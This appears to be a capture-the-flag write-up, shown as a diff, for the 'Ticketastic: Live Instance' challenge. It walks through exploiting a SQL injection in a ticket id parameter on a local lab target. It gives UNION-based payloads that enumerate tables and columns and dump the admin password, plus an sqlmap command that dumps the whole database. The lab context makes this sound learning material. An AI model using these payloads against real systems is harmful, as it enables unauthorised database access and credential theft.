|
| 1 | +# Ticketastic: Live Instance - FLAG1 |
| 2 | + |
| 3 | +## 0x00 Ticket Page |
| 4 | + |
| 5 | +http://127.0.0.1/xxxxxxxxxx/ticket?id=1 |
| 6 | + |
| 7 | + |
| 8 | + |
| 9 | +## 0x01 Try Modify Parameters |
| 10 | + |
| 11 | +```sql |
| 12 | +ticket?id=1' |
| 13 | +``` |
| 14 | +
|
| 15 | +Get some error message |
| 16 | +
|
| 17 | +``` |
| 18 | +Traceback (most recent call last): |
| 19 | + File "./main.py", line 78, in ticket |
| 20 | + cur.execute('SELECT title, body, reply FROM tickets WHERE id=%s' % request.args['id']) |
| 21 | + File "/usr/local/lib/python2.7/site-packages/MySQLdb/cursors.py", line 255, in execute |
| 22 | + self.errorhandler(self, exc, value) |
| 23 | + File "/usr/local/lib/python2.7/site-packages/MySQLdb/connections.py", line 50, in defaulterrorhandler |
| 24 | + raise errorvalue |
| 25 | +ProgrammingError: (1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1") |
| 26 | +``` |
| 27 | +
|
| 28 | +So it uses MySQL database and seems can be injected here. |
| 29 | +
|
| 30 | +Double check by try. The first link works but the second one shows error. |
| 31 | +
|
| 32 | +```sql |
| 33 | +ticket?id=1 AND 1=1 |
| 34 | +ticket?id=1 AND 1=2 |
| 35 | +``` |
| 36 | +
|
| 37 | +## 0x02 Get Table Fields Number |
| 38 | +
|
| 39 | +```sql |
| 40 | +ticket?id=1 AND 1=1 ORDER BY 10 |
| 41 | +ticket?id=1 AND 1=1 ORDER BY 3 |
| 42 | +``` |
| 43 | +
|
| 44 | +Reduce **RDER BY** number until it shows web page properly again. |
| 45 | +
|
| 46 | +While **ORDER BY 4** still shows ERROR but **ORDER BY 3** can perform correct. This means the Table selection has 3 fields. |
| 47 | +
|
| 48 | +## 0x03 Check Output Locations |
| 49 | +
|
| 50 | +```sql |
| 51 | +ticket?id=1.1 UNION SELECT 1,2,3-- |
| 52 | +``` |
| 53 | +
|
| 54 | + |
| 55 | +
|
| 56 | +## 0x04 Get Current Database Version, TABLE_SCHEMA |
| 57 | +
|
| 58 | +```sql |
| 59 | +ticket?id=1.1 UNION SELECT VERSION(),DATABASE(),3-- |
| 60 | +``` |
| 61 | +
|
| 62 | + |
| 63 | +
|
| 64 | +## 0x05 Get TABLE_NAME |
| 65 | +
|
| 66 | +```sql |
| 67 | +ticket?id=1.1 UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()-- |
| 68 | +``` |
| 69 | +
|
| 70 | + |
| 71 | +
|
| 72 | +So the useful TABLE_NAME = users |
| 73 | +
|
| 74 | +## 0x06 Get COLUMN_NAME |
| 75 | +
|
| 76 | +```sql |
| 77 | +ticket?id=1.1 UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME='users'-- |
| 78 | +``` |
| 79 | +
|
| 80 | + |
| 81 | +
|
| 82 | +## 0x07 Dump Data (FLAG) |
| 83 | +
|
| 84 | +```sql |
| 85 | +ticket?id=1.1 UNION SELECT 1,password,3 FROM users WHERE username='admin'-- |
| 86 | +``` |
| 87 | +
|
| 88 | + |
| 89 | +
|
| 90 | +## 0x08 Why Do Not Use SQLMAP? |
| 91 | +
|
| 92 | +Ok, let's do it with [SQLMAP][2] again. |
| 93 | +
|
| 94 | +### Catch the Request and Save to a File |
| 95 | +
|
| 96 | +Save the following request to the file [request.txt][1] |
| 97 | +``` |
| 98 | +GET /xxxxxxxxxx/ticket?id=1 HTTP/1.1 |
| 99 | +Host: 127.0.0.1 |
| 100 | +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0 |
| 101 | +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 |
| 102 | +Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 |
| 103 | +Accept-Encoding: gzip, deflate |
| 104 | +Connection: close |
| 105 | +Cookie: session_level7b={ADMIN SESSION} |
| 106 | +Upgrade-Insecure-Requests: 1 |
| 107 | +Pragma: no-cache |
| 108 | +Cache-Control: no-cache |
| 109 | +``` |
| 110 | +
|
| 111 | +And run the following command |
| 112 | +
|
| 113 | +``` |
| 114 | +python sqlmap.py -r request.txt --dump |
| 115 | +``` |
| 116 | +
|
| 117 | + |
| 118 | +
|
| 119 | +[1]: ./request.txt |
| 120 | +[2]: https://github.com/sqlmapproject/sqlmap |
0 commit comments